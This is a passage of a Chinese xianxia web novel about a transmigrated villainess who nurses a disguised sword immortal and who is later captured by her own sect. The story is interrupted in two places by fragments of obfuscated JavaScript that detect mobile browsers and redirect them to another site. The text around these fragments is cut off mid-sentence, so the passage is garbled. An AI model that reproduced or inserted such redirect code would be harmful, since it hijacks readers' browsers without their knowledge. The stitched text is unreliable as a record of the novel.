娄危雪走后,沈清鸿一如往常地打坐修炼,只不过修炼到一半,原本坐着的美人消失无踪,啪叽一下,一个雪白的小团子从椅凳上滚落。 白团子摇晃着脑袋爬起来,看着高了她好几倍的椅凳,浑身的毛都炸开了,像是个变了颜色的白海胆。 自从上次变成灵兽之后,沈清鸿一直小心地维持着人身,已经好久没有变回灵兽了。 可是昨晚发生的事情,竟叫沈清鸿灵台摇摆,人身不稳自然而然地回归到了灵兽的模样。 这样可不行!趁着娄危雪还没回来,她得赶紧变回去才行,不然到时候就没办法解释了! 白团子盘起爪子打坐吐纳,铆足了劲地想要变回人身。 她这么一坐就不知坐了多久,直到一道声音传来。 “姐姐!” 白团子耳尖微动,睁开眼睛。 娄危雪回来了,可是她现在依旧没能变回去! 白团子焦急地在屋里转来转去,屋外那人每一次踩在地上的脚步声,都伴随着白团子的心脏,怦怦作响。 沈清鸿快速地环顾四周,寻找着可能藏身的地方,无论如何,她都不能被娄危雪发现! 屋外人走动的声音越来越近,在娄危雪推开门之前,白团子四爪用力,猛地跳入用来装衣服的衣篓中。 下一秒,娄危雪走入门内,满脸雀跃。 “姐姐,你快看我带了什么回来?” 屋内空空荡荡,无人回应。 姐姐难道是在后院吗?娄危雪疑惑找去,可后院也没人。 娄危雪心中顿时浮现一个不好的猜测,她焦急地迈开步伐,前前后后找了一圈,都没能找到沈清鸿的身影。 难道是因为昨晚的事,姐姐生气了,所以离开了? 想到这个可能,娄危雪沮丧地垂下头,结果忽然发现地上多出的一抹白色。 “这是……”娄危雪不可置信地睁大眼睛,“六六!?” 12. 第12章 难道是六六回来了吗? 娄危雪暂时顾不得想沈清鸿是不是离开了的事情,一边喊,一边找白团子。 “六六,你回来了对不对?你出来让我看看啊。” 她寻找着房间里的各种角角落落,甚至就连床底下她都趴下来看了一通,可是屋内还是半点白团子的身影都没看见。 沈清鸿蜷缩在衣篓中,听到娄危雪来来回回,在她身边走过好几次,只要娄危雪有一次停下来把衣服拿起,就会发现她的存在。 如果再这样下去,难保娄危雪不会发现她。 她不可以在这里继续待着了,得换个地方藏身。 沈清鸿竖着耳朵,听着娄危雪的动静,直到那脚步声从她身边逐渐远去,朝着后屋走去,沈清鸿才松了口气。 一只雪白的团子,在娄危雪离开屋里的一瞬间,从装满衣服的衣篓中跳出。 藏哪好呢?床底下? 不行,不行,床底下没有遮东西的地方,很容易被看到。 白团子竖着耳朵,留意着娄危雪的动静,同时在屋里这躲躲,那藏藏,试图找到一个安全的藏身之所。 在躲藏的过程中,一方黑色的圆口小罐子吸引了白团子的注意,她的身体似乎也在叫嚣着叫她钻进去。 几次从罐子旁边路过,白团子最后迟疑地停下爪。 要不试试这里? 罐口很小,白团子钻得很费力,好不容易才把身子钻了进去。 待在罐子里,就连转身都十分困难,如果这要是被发现,逃跑恐怕都不方便。 不行,这里不能躲。 一只毛茸茸的脑袋从罐口伸出,白团子艰难地往外挤着,准备换个地方躲。 砰—— 罐子不小心撞到边上的东西,发出声响。 糟糕! 白团子挤得更用力了,动作也显得焦急许多,好不容易挤出来的两只爪子在半空快速地扒拉着,想要把后面两只爪子也给拔出来。 后屋,娄危雪显然听到了屋内的动静,惊喜喊道:“六六?” 她快速地朝屋内走去,去找那个藏起来的白团子。 脚步声越来越近,可是此刻白团子还有半个身体卡在里。 这样下去,会被发现的!来不及管这么多了! 白团子狠心带动身体,猛地朝旁边的墙壁撞去,两下之后黑罐破碎,白团子的身体终于得到解脱,赶在娄危雪走过来之前,从屋里逃了出去。 趁着娄危雪没来得及发现,白团子抓下发力,跳上小屋的屋顶。 趴在屋顶上,沈清鸿松了口气,她真是从没这般的狼狈过。 屋中,娄危雪拿着破碎的罐子碎片,在附近看到一些白色的毛发。 是六六的。 这更加让娄危雪肯定六六回来了,可是六六为什么要躲着她? 娄危雪神情沮丧,找了半天,她除了发现几缕白团子掉的毛外,简直一无所获。 她走出屋门喊道:“六六,我知道你回来了,你出来见见我啊。” “或者你不想见我,你嗷一声也行,叫我知道你没事,好吗?” 屋顶上,白团子听着娄危雪的话,张了张嘴,又闭上。 她不能叫,修仙之人耳力都还不错,如果叫了,娄危雪说不定就能发现她躲藏的地方,然后把她抓下去,到时候她将很难和娄危雪解释。 现在重要的是赶紧变回人身才对。 没了被发现的风险,白团子一心沉浸在法诀之中,让灵台放空,试图变回人身。 屋檐下娄危雪等了好久,没有等来白团子的任何回应。 姐姐走了,六六躲着她不愿意出来。 娄危雪感觉整个人都要碎掉了。她是有哪里做得不够好吗? 一股委屈直冲心头,娄危雪靠着柱子,缓缓蹲下了身体。 “呜呜呜,你们怎么都不想见我,我有那么的讨人嫌吗?” “我知道六六不喜欢我摸她,可是我是重度绒毛控啊,我已经很努力地在克制自己了。” “还有姐姐,我是做了错事,但是我已经在尽力弥补了,我也会负责的,你怎么就不相信我呢?” 想着这段时日的快乐相处,娄危雪哭得更伤心了。 穿成这本书的恶毒反派后,娄危雪时刻担心自己会在哪一天就按照书中所说一命呜呼了,又担心自己不是原主的事情暴露,被人当作夺舍的邪修处理。 她每天都过得战战兢兢的,好不容易逃出宗门,在这灵山上生活下来,契约到了喜爱的灵兽,有了姐姐,可是现在一人一兽都跑了。 “呜呜呜呜,我怎么这么惨啊。” 穿书之后的惶恐不安,和被人抛弃的委屈,在此刻彻底爆发出来。 泪水如黄河决堤,不断地从娄危雪的眼眶涌出。 “我真的有在努力了啊,可是怎么会这样呢?” 屋顶上,好不容易恢复人形的沈清鸿,听到娄危雪的哭声,眉心不自觉地皱起。 她跳下屋顶,走到娄危雪面前。 “哭什么?” 娄危雪泪眼婆娑,顺着出现在面前的衣裙朝上看去。 “姐姐?” 清冷出尘的熟悉面容映入娄危雪的眼底,她站起身,扑过去一把将沈清鸿给牢牢抱在怀中,哭得更狠了。 “呜呜呜呜呜,姐姐,我还以为你走了,不要我了。” 沈清鸿下意识地想要推人,可是见娄危雪哭得这般凄惨,原本要推人的手落在了娄危雪的肩头。 没有安慰过人的清鸿仙尊,别别扭扭地拍了娄危雪两下,像是在安抚。 “我的均湘剑还在,我又怎么会走。” “那,那我不是看到你人不在,一着急,没发现嘛。” 娄危雪抽抽噎噎的,她稍微放开沈清鸿一些,抹了两把眼睛。 “姐姐,你不会再走了吧。” 面前人的小脸哭得红彤彤的,眼睛里面还有泛滥的水光,如一颗剔透的琥珀,她眼尾绯红,眼角下的小痣,被泪水冲刷后更加引人夺目。 沈清鸿眼睫微颤,轻轻移开目光。 “不,我会走。” “你,你怎么还要走啊。” 那声音颤抖,带着浓烈的哭腔。 眼瞅着人又要哭起来,沈清鸿头疼地解释,“我还有事情要处理,当然要走,不过我离开的时候,会提前告诉你的。” “真的吗?” “自然。” “那,拉钩。”娄危雪抽抽鼻子,朝沈清鸿伸出手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593605|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着递到面前的一截手指,沈清鸿没好气地笑了。 “你是小孩子吗?” “不是,但要。” 娄危雪可怜兮兮地把手又往前递了递,“姐姐。” 哭后的嗓音软软糯糯,她眨着水润的眼睛,眼巴巴地看着沈清鸿。 沈清鸿终是败下阵来,伸手勾住娄危雪翘起的小拇指。 娄危雪顿时笑了,如云开雾散。 她勾紧沈清鸿的手,然后在沈清鸿的大拇指上盖下印章。 “姐姐,约定好了哦。” “好。”沈清鸿应着。 经过沈清鸿这么一番许诺,娄危雪的心情好了许多。 她询问道:“姐姐,你之前去哪了?” 沈清鸿早已想好说辞,她指指房顶。 “屋内有点热,我去房顶上透气,不小心睡着了。” “原来是这样。”娄危雪不疑有他,想着还没找到的白团子,又问:“那姐姐你在上面的时候,有看到过六六吗?” 沈清鸿面上不露声色,一口否决。 “没有。” “好吧。” 娄危雪眼神稍显黯淡,她叹了口气,看来六六藏得很好,姐姐在家都没有发现,那自己恐怕就更难发现她了。 看着眼前满是哭痕的小脸,沈清鸿担心娄危雪多想。 她拿出一方巾帕,岔开话题。 “先把脸擦擦吧。” 娄危雪接过,露出明媚的笑容。 “谢谢姐姐!” 擦完脸清洗一通后,娄危雪回到屋中,把从外面带回来的东西拿起,递到沈清鸿面前。 “姐姐,你看。” 少女手中捧着一束鲜花,双眼含情带笑,竟比天光还要绚烂。 沈清鸿有些失神,原来娄危雪出门是去采花去了啊。 见沈清鸿不解,娄危雪脸上的笑容收敛了一些。 “姐姐,你不喜欢吗?” “没有。” 谁会不喜欢鲜花呢。 沈清鸿伸手接过花束,脸上难得有了笑意。 “谢谢。” “姐姐喜欢就好。”娄危雪说着,伸手比划着,“山谷里还有很多,以后我每天都给姐姐带一束花回来。” “好。” 在娄危雪殷勤的帮助下,沈清鸿把水灌入一个方口长瓶中,将花束插了进去,放在桌子上。 小小的木屋中,顿时有了别样的色彩。 娄危雪指指插好的花束,“姐姐,我可不可以拿一支出来。” 沈清鸿微微颔首,应允了娄危雪的要求。 “当然。” 其实这花是娄危雪采回来的,她可以不问自己的。 娄危雪嘴角扬起,她总是很容易满足。 花瓶里的花什么颜色的都有,她最终挑选了一支灿金色的花。 这是给六六的花。 她第一次遇见六六的时候,就是在这样有着灿烂日光的天气里。 “六六,虽然我不知道你为什么不愿意出来见我,但是我会一直替你保留这个窝的,如果你想回来,随时都可以。” 娄危雪将花朵放在了白团子的窝边,她希望藏起来的白团子,能够喜欢这朵小花。 13. 第 13 章 娄危雪每天清晨都会去山谷里采摘新鲜的花束,带回来送给沈清鸿,也照例每天都会在六六的小窝旁放上一朵鲜花。 沈清鸿把一切看在眼里,但是她什么都没有说。 两人相处融洽,娄危雪做事更是细致入微。 日子就这样一天天过去,直到这天。 沈清鸿在屋内打坐调理,可是无论如何都静不下心,还险些变成灵兽。 窗外的天色渐渐暗下,树林里一片漆黑,仿佛栖息着一只巨大的猛兽,随时都能将人吞吃入腹。 娄危雪是下午出去的,如果放在以往她早就回来了,可是现在天都已经黑了,人还没有影子。 沈清鸿心脏不安地跳动着,她睁开眼睛,终究是从打坐的软椅上走下。 这么晚都没回来,说不定是出事了。 不行,她要去找娄危雪。 之前因为担心娄危雪发现她的身份,她屏蔽了契约感应,现在娄危雪的生命安危比较重要,暂时顾不得想那些东西了。 沈清鸿推开房门,踏入黑漆漆的树林中。 她遵循着指引,往树林深处走去,没走多久,她发现前方远处有一道微弱的亮光,晃动着朝她的方向走来。 那身形……是娄危雪。 沈清鸿掐断契约带来的感应,赶忙朝娄危雪走去。 由于沈清鸿没有带着任何照明用的东西,直到她走到近前,娄危雪才发现她的存在。 “姐姐?”娄危雪满眼惊喜,带着一丝的诧异,“你怎么出来了?” 周围树木枝茂繁密,只有娄危雪拿着的萤石,散发着淡淡的光亮。 她的样子很狼狈,小脸灰扑扑的,脸颊上还有几道泥印子。 头发不知道被什么东西勾的左一缕,右一缕的,乱糟糟的堆在上面,发钗和不知道哪来的树叶斜斜地插在散下来的发髻上,身上的长裙被划破几个口子,裙摆一片脏污。 沈清鸿眉心不自觉皱起,“你这是怎么弄的?” “不小心中了陷阱,不过现在已经没事了,我也没受伤。” 娄危雪的语气很轻松,为了不让沈清鸿担心,根本就没说中陷阱时是有多么的惊险。 沈清鸿定定地看了娄危雪几秒,转过身去,原本忐忑的心,在此刻突然就平静下来。 “既然没事,那就回去吧。” “诶,等等。” 见人要走,娄危雪急忙伸手拉住沈清鸿,接着像是反应过来自己手上不干净,又连忙将人放开。 不过显然已经晚了,只见两个黑黑的手掌印,出现在沈清鸿原本雪白的衣袖上。 沈清鸿垂眸看着自己脏污的衣袖,并未言语。 回想起上次流鼻血时候的经历,娄危雪顿时头皮发麻,连连道歉。 “姐姐对不起!我不是故意的,我只是一着急忘记手上不干净了。” “嗯。”沈清鸿没有如娄危雪设想般发怒,她一脸平静,反问道:“你还想干什么?” “什么?”娄危雪满脸错愕。 “我说你刚刚叫住我,是还想干什么?” “哦哦哦,”娄危雪反应过来,唇角翘起,“我有个地方想带姐姐去。” “带路。” 沈清鸿回答得干脆利落,没有半分犹豫。 娄危雪笑得更开心了,眼睛微微眯起。 “好嘞。”她应道,然后走在沈清鸿前方带路,仔细地给沈清鸿照明前进的方向。 不知走了多久,树林逐渐变得稀疏,两人离开树林,眼前豁然大亮。 月光从高空中洒下,一条溪流在夜色下静静地流淌,成群的萤火虫在空中飞舞闪烁,星星点点,闪烁着荧光,像是提灯飞舞的精灵。 “这是我今天无意间发现的!” 娄危雪转过身,笑看着沈清鸿。 “好看吗?姐姐。” 形容狼狈的少女眉眼弯弯,细碎的月光映照在她的眼里,眸中似有星河,这一刻所有的萤光都成了她的背景。 “好看。” 沈清鸿的声音很轻,像是谁也不知道的呓语。 有风穿过树叶,沈清鸿恍惚间觉得,如果能够就这么在山里过一辈子,似乎没什么不好。 可惜,她身上的担子太重,师尊的大仇尚未得报,她终究不能久留。 “姐姐,快来这里,可舒服了。” 少女的声音驱去沈清鸿心底升起的淡淡愁绪,娄危雪不知道什么时候已经在旁边的草地上躺下。 或许是景色太过美丽,又或许是娄危雪轻松欢快的表情太过诱人,向来冷漠如雪山般的人,此刻薄唇微弯,竟真的走过去躺下了。 两人躺在草坪上,周围是弥漫的萤火,天上是皎月繁星。 她们在这里躺了很久,直到荧光渐渐消散,才起身回去。 第二天,太阳照常升起。 沈清鸿在屋前练剑,一道金光符咒突然从远处迅疾地飞来,悬停在沈清鸿面前。 这是天一宗特有的传讯方式。 给沈清鸿传讯的是她的师叔李寻真,由于她离开师门太久,又迟迟没有消息传回,所以师叔传讯过来询问她退婚是否遇到了什么麻烦,她在外逗留已久,也该回归宗门了。 沈清鸿捏着符咒,有些出神。 其实养了这么多天,又有娄危雪在旁边尽心尽力地照顾着,沈清鸿的身体已经好了七八分了。 最开始被救回来的时候,沈清鸿时刻都在想着离开,可是现在,在这山中小屋待久了,突然想到要离开,沈清鸿竟生出几分不舍。 而且她还没告诉娄危雪,她的身份。 娄危雪从屋内出来时,就见沈清鸿站在原地发呆。 她忍不住询问道:“姐姐,你怎么了?” 沈清鸿回神,下意识地把捏着传音符的手背在身后。 她摇头,“无事,只是有点累了。” 娄危雪没有多想,反而道:“既然累了,那就休息会儿。” “好。”沈清鸿应下。 等娄危雪走后,沈清鸿给师叔传讯,说她暂时有些事情要解决,等过些时日再回去。 山静日长,岁月不居。 这期间师叔不止一次地给沈清鸿传讯,让沈清鸿尽快回去,沈清鸿用了各种各样的借口推脱,尽管沈清鸿不愿承认,她是有些不想和娄危雪分开的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593606|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 直到师叔在信中说,她师尊的死有了新的发现,让她速回宗门商议。 沈清鸿知道终于还是到了分别的时候,只是她实在不知该怎么和娄危雪说她要离开的事情,但再这么拖延下去,终究不是个办法。 这边沈清鸿在小屋中思考要怎么和娄危雪开口时,另一边娄危雪在快要回到小屋的途中遇到了几个人,看衣着打扮,是合欢宗的弟子。 为首的女子面容姣好,可是双眼上方的一道疤痕,让她的面容显得狰狞许多,此人正是虞欢。 上次被娄危雪伤到之后,虞欢双眼险些失明,在宗门休养好久,才把眼睛养好,不过这眼皮上的疤倒是去不掉了。 养好身体的第一时间,她就跟着宗门的人上山一起找人,不过这山太大了,根本就不好找,直到前段时间,她们布置的一处陷阱被触发,事后她和宗门的人去看了,在那里找到一些衣服碎片,并且衣服的材质一看就是娄危雪那天穿的。 她们因此缩小寻找范围,终于找到了人。 虞欢拦在娄危雪身前,语气冰冷森然。 “又见面了。” “啊哈哈好巧,又见面了。” 娄危雪尴尬地笑着,身上却紧绷起来。 上次的见面不太愉快,这些人一看就是来找她麻烦的。 不过这里离小屋太近,姐姐还在小屋中,她绝对不能叫合欢宗的人发现姐姐,毕竟姐姐长得那么貌美,以合欢宗这些人的品性,指不定会对姐姐做什么呢! 更何况这是她惹下来的祸事,本不该让姐姐受到牵连。 之前合欢宗只有三个人,险些叫她没能跑掉,这次来的人太多了,她肯定不是对手,看来只能找机会逃跑了。 “上次的事情,是个误会,你听我解释啊,我是有苦衷的。”娄危雪面上还保持着笑容,眼睛却已经在找能逃跑的路了。 “你以为我还会被你骗吗?”虞欢冷笑,根本不给娄危雪耍花招的机会。 “给我上!” 在她身后原本跟着的几个合欢宗弟子闻言,迅速抽出武器朝娄危雪袭去。 娄危雪暗道不好,她弯腰躲过刺来前后袭击,抽剑隔开右边的剑光,一边打一边朝远离小屋的地方躲去。 她得逃得越远越好,这样姐姐被发现的可能就越低。 小屋中,沈清鸿朝窗外望去,她似乎听到了剑鸣声。 担心娄危雪出事,沈清鸿立刻出门去找人,没多久就在附近看到了打斗的痕迹。 沈清鸿皱起眉头,快速跟随着打斗的痕迹找去,在山腰处发现娄危雪。 眼看着一道剑光就要砍在娄危雪的肩头,沈清鸿脸色猛然沉下,她抬脚瞬间出现在娄危雪的身前,长剑出鞘,只一招便把袭来的众人击退。 “姐姐?” 娄危雪愣住,没料到沈清鸿会出现,更没料到沈清鸿只用一招就把人给击退了。 她知道姐姐不简单,可是也没想过,姐姐一出场就能直接把人给打倒啊。 而那边虞欢从地上起身正要发怒,结果看到沈清鸿手中的长剑,脸色瞬间变了。 她小心翼翼地询问:“阁下可是清鸿仙尊?” 14. 第 14 章 “什么?” 娄危雪慕然瞪大眼睛,什么?她没听错吧? 刚刚虞欢叫姐姐清鸿仙尊? 难道是书里原身的未婚妻,年少成名,境界颇高,因为女主救过她的命从此化身深情女二默默守护,最终为了保护女主将她刨心挖丹,万剑凌迟的清鸿仙尊。 不可能吧?! 娄危雪整个人都傻了,她看看自家姐姐,又看看虞欢。 “你是不是认错人了?姐姐怎么可能会是清鸿仙尊。” “我怎么可能会认错!” 虞欢目光落在沈清鸿手中的长剑上,“传言清鸿仙尊姿容无双,身边有一佩剑,名均湘,剑身玄铁而铸,薄如秋霜,剑柄上雕有一朵青莲,水雾缭绕,灵动非凡。” 娄危雪傻眼了,她也看到了沈清鸿手中的剑,确实如虞欢所说,全部都对得上。 不过娄危雪还是不死心,她难以置信的问:“姐姐,你真的是她说的清鸿仙尊?” 既然身份已经被道破,便没有必要继续瞒着了。 “是,我名沈清鸿。” 娄危雪低念,“沈清鸿,清鸿仙尊。” 娄危雪神色恍然,有点回不过神。 她这是救了个什么人回来啊!!! 见娄危雪面色异常,沈清鸿眉心不自觉地蹙在一起。 “九寒,我不是有意要隐瞒你我身份的。” 娄危雪顿时露出一个比哭还难看的笑容,“我知道。” 她从来没有问过姐姐,阿不,现在应该叫清鸿仙尊了。 是她从来没想过去问清鸿仙尊她的身份,现在造成这样的后果,她自己也有一点责任。 而两人对面,合欢宗的一行人站在一起,在两人说话的时候想离开但又根本就不敢。 毕竟在沈清鸿这样的高手面前,任何异动都逃不过她的眼睛,如果叫沈清鸿误会,说不定还有可能招来杀身之祸。 虞欢强撑着让自己冷静,她恭恭敬敬地朝沈清鸿行礼。 “今日多有得罪,还请阁下见谅,能够放我等一马。” 沈清鸿本就因为娄危雪的反应心情不佳,这个时候虞欢出声,无疑是在她心里添了把火。 如果不是这个人道破她的身份,她说不定可以找机会和九寒好好解释。 更何况,九寒身上的伤是这些人造成的吧。 沈清鸿冷笑,“你把她伤成这样,要我如何能够放你?” 一众的合欢宗弟子闻言,面色惨白,纷纷跪地求饶。 “仙尊饶命!我们知道错了!” “是啊,我们不知道这位姑娘和仙尊你的关系,如果知道,给我们十个胆子我们也不敢啊。” “求仙尊放我们一马,我们以后再也不会找这位姑娘的麻烦了。” …… 合欢宗的人跪了一排,只有虞欢还站着。 沈清鸿抬眸,“你为何不跪?” 虞欢一言未发,拿起手中剑朝自己身上划去,血痕绽放,那伤口与娄危雪身上的位置一模一样。 她一道道地划着,身上伤口越来越多,宛如娄危雪伤口的镜面。 虞欢收手准备停下,沈清鸿却开口了。 “继续。” 虞欢咬牙,在生命面前,受伤算不上什么。 她持剑继续,沈清鸿冷漠地看着,眼神扫过还跪着的几名合欢宗弟子。 “还有你们。” 跪着的几人哪能不明白沈清鸿的意思,一狠心纷纷拿起武器,朝自己划去。 直到虞欢身上的伤口翻倍,沈清鸿才把均湘剑收回剑鞘。 “你们走吧。” “走走走,快走。” 几个合欢宗弟子脚步踉跄,扶着伤势最重的虞欢赶忙离开,生怕晚上一步,沈清鸿就反悔了。 虞欢的衣服染满鲜血,眼中满是阴翳。 今日之仇,她绝对不会忘记! 合欢宗的人一走,原地只剩下娄危雪和沈清鸿两人。 娄危雪都快哭了,她把清鸿仙尊给睡了,清鸿仙尊不会一怒之下把她杀了吧! 合欢宗的那群家伙,走这么快干什么,现在可叫她怎么办啊! 极限的气氛压抑下,娄危雪开口弱弱叫着,“清鸿仙尊。” 她勉强挤出一丝笑容,“之前我不知道仙尊身份,做事多有得罪,还请仙尊大人不记小人过,不要和我一般见识。” 沈清鸿不喜欢娄危雪这么叫她,也不喜欢娄危雪现在战战兢兢的态度。 “你不必叫我仙尊。”她眉头皱起,声音有些许冷硬。 现在娄危雪满脑子都是自己被万剑凌迟的惨死模样,闻言身体僵硬,面色白了许多。 完了完了,现在姐姐连仙尊都不让她叫了,也不知道是被她气成什么样了! 天呐,谁能告诉她该怎么办啊! 场上无言,更显静默,娄危雪大气都不敢喘一下。 天一宗的不少弟子在她面前也是一副恭恭敬敬的模样,她应当早已习惯,为什么看到娄九寒这样,心里会不舒服呢? 沈清鸿看着忐忑不自在的娄危雪,叹了口气。 可能是她的身份曝光得太突然,叫九寒一时无法接受,或许她该给九寒一点时间。 这段时间师门多次传音给她,现在她的身份被合欢宗的人道出,看来也是时候离开一趟了,正好给九寒消化她身份的时间。 “既然你已经知道了我的身份,那有件事,我也该和你说了。” 娄危雪闻言脸色更难看了,说什么?不会是要开始和她算账了吧! 她紧张地盯着沈清鸿,结果听到沈清鸿说:“多谢你这段时间对我的照顾,不过我在这里休养许久,身上的伤口已经好得差不多了,宗门长老和师叔多次唤我回宗门,我想我是时候回去一趟了。” 娄危雪一愣,然后反应过来。 沈清鸿这是要走? 那可真是太好了! “好啊,回去好,趁着现在天色未黑,仙尊不如立刻出发,也可早日回到宗门。” 娄危雪努力压抑自己上翘的嘴角,想要自己的开心表现得不那么明显。 与之前截然相反的态度,叫沈清鸿发现一丝端倪。 她冷下脸,“你就这么想我离开?” “没有,”娄危雪摇头,一本正经地劝说:“只是仙尊你离开那么久,又一直没有音讯,宗门的人肯定很担心你,你早点回去和他们见面,也可以叫他们放心。” “嗯。”沈清鸿低低应了声,勉强接受了这个理由。 “我走了,你自己一个人住在山上,需多加小心。” “好,仙尊放心。” 看着面前乖乖应声的人,沈清鸿的心里突然软了一块,“等我回去处理完宗门的事情之后,我还会回来,到时候我再和你解释。” 不不不,大可不必。 娄危雪在心底狂摇小手,她一点都不想让沈清鸿回来找她!更不想听什么解释,她现在只想长长久久地活着! “仙尊慢走,祝您一路顺风!” 沈清鸿再次不悦的皱眉,“你就这么想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“正是如此。”见李寻真面色有异,沈清鸿询问:“师叔,你可是想到了什么?” “有一桩旧事,你可能不知,如今的云霄门宗主夫人云文君,与合欢宗宗主花醉月曾有过一段旧情,两人曾私定终身,但因合欢宗修行不正,算不得名门正派,云文君的父母并不同意,强行断了云文君和花醉月的关系,让云文君和她的师兄娄青涯成婚,也就是如今的云霄门宗主。” “而当初你师尊是前往云霄门途中出的事,身上有合欢宗功法的痕迹,如今你在去往云霄门途中遭人截杀,这其中巧合让人不得不怀疑。” 沈清鸿敏锐的察觉出李寻真话中的意思,“师叔是说,这个事情可能和云文君有关?” “不无可能。”李寻真沉思片刻后开口,“正好,你的亲事还没退,等过些日子,你把手中事情处理完,我和你一起去云霄门退亲,借此机会查探一番。” “如此就有劳师叔了。” 两人就此敲定事情。 由于沈清鸿是宗门继承人,离开山门那么久,堆积了不少的事务。 不过为了能够早日去退婚,也为了能早点见到娄危雪,她不眠不休地处理好几夜,终于在三天后处理完了所有的事务。 沈惊鸿立刻动身前往山中小屋。 15. 第 15 章 沈清鸿的眼底下有着浓浓的黑青,可是她却不愿意去休息。 对于修仙之人来说,少睡一些没关系,更让她在意的是,她那天离开时娄九寒的反应。 不知道三天时间过去,娄九寒有没有接受她的身份。 沈清鸿心中有些忐忑,但是随着离灵山越来越近,她心中又有着一丝隐秘的期待。 很快就要见面了。 沈清鸿唇角不经意勾起,乌发飘扬,风声呼啸,她御剑的速度也越来越快。 没过多久,沈清鸿在小屋前落地,她走过去推开小屋的屋门,在看清屋内情况的时候,嘴角笑容瞬间消失。 屋内一片狼藉,各处都是翻找的痕迹,桌上每日一换的鲜花还是沈清鸿离开时的那束,花朵恹恹地垂着,花瓣凋零落在桌子上,这一刻连室内的阳光都显得黯淡许多。 她环视屋内,床上被褥还在,不过原本放着衣服的地方已经空了,还有娄危雪常用的东西全部消失。 沈清鸿沉下脸,走入后院,后院同样空空如也。 屋中没有打斗的痕迹,显然是娄危雪自己选择要走的,而且走得很匆忙。 这是在躲她?还是有别的原因? 沈清鸿眉头紧皱,浑身散发着冰冷的气息。 不管娄九寒是为什么离开,她都要找到人问清楚! 与此同时,在小镇上买烧饼的娄危雪,突然打了个寒颤。 她紧紧衣服,“奇怪,这天也不冷啊。” “客官,您要的烧饼。”烧饼铺的老板将刚出炉的烧饼递给娄危雪。 看着面前热腾腾的烧饼,娄危雪转瞬把这件事抛诸脑后。 算了算了,想那么多干什么! 美食在前岂可辜负! 咬了一口香喷喷的烧饼,娄危雪幸福地眯起眼。 穿过来的时候她在宗门,虽然锦衣玉食,但是少了几分自在。 后来逃跑躲入山中,吃的都是山上猎来的东西,种类远远没有集市上售卖得这般丰富。 这几天下山在镇上住下之后,娄危雪探寻了不少小摊和糕点铺,什么荷花酥、樱桃煎、土豆饼……品类繁复,叫娄危雪的口腹之欲大大满足。 将手中拿着的烧饼吃下,娄危雪摸摸吃得饱饱的小腹,一本满足。 见天色将黑,娄危雪转身回了自己下榻的客栈。 刚走进门,她就看到掌柜眼睛眨个不停,面颊抽搐无比。 娄危雪:…… “掌柜的,你眼睛怎么了?” 这话问出来之后,掌柜的脸更加抽搐了,甚至还努嘴,示意娄危雪赶紧走。 娄危雪总算是反应过来了,她没有留恋转身拔腿就跑,可是在她转身的瞬间,客栈大门猛然关上,不知道什么时候来的两人,正守在门边,而原本在客栈坐着的三人也纷纷取下帷帽站起身,朝着娄危雪围来,可不正是云霄门的人。 掌柜躲在角落,一脸的爱莫能助。 这几天娄危雪在客栈入住,给了他不少好处,他已经尽力提醒娄危雪了。 修仙人的事情,不是他一个凡人可以随便插手的。 秦少阳朝娄危雪走来,“少主,跟我回去吧,你今天逃不掉的。” “不试试怎么行?” 娄危雪不死心,还没试过,怎么能放弃! 既然门被关上,那就换个地方走。 娄危雪三两步朝楼梯跑去,可是那些人根本就没让娄危雪得逞。 一道黄色的屏障在楼梯口前立起,另有符修朝娄危雪扔来几道锁足的符咒。 娄危雪脚步轻闪躲过符咒,下一瞬又有两人拿着锁链朝娄危雪的双手捆去,娄危雪旋再次躲过。 可是越来越密集的攻击袭来,甚至不用秦少阳出手,娄危雪就被抓住了。 客栈的大门被重新打开,秦少阳从怀中掏出一块灵石丢给掌柜,算是赔偿他客栈的损失。 “走,带少门主回宗。” “是。” 秦少阳是娄青涯的大徒弟,云霄门的大师兄,在他的吩咐下,云霄门的人没有半分的耽误,压着娄危雪往外走。 娄危雪脚下使力,拉扯着不想走。 “别这样。” 她好不容易才从宗门逃走,这要是回去按照原来书中的内容走剧情,她可就没命了! 娄危雪脸上堆起假笑,“啊哈哈,都是同门,咱们打个商量好不好?” “你们就当作没见过我,放我一马,等我玩够了,我自己回去行不行?” 压着娄危雪的女修没有放松半分力道,继续推着娄危雪往门外走。 “少门主,门主已经下了命令,让我们必须找到你将你带回去,如果放少门主你离开,被门主知道,我们是会受惩罚的。” 娄危雪心底叹气,就知道没那么好商量。 她换了个要求。 “那要不这样,你们不能放我,那帮我把这捆仙锁解开怎么样,这捆仙锁绑得太紧了,弄得我手好疼啊。” 娄危雪蹙起眉头,垂下眼看起来很是委屈,“真的很疼,长这么大我还没被人这么绑过呢。” “你们知道的,我自小在宗门长大,哪里吃过这种苦,现在我的手腕肯定已经红了。” “而且我爹是让你们带我回去,也没说要把我绑回去,对不对?” “帮我解绑吧,你放心,我绝对不会逃跑的,你们这么多人在,我想跑也不容易啊。” 她循循善诱,眨巴着眼睛,努力表现着自己的无害。 “这……” 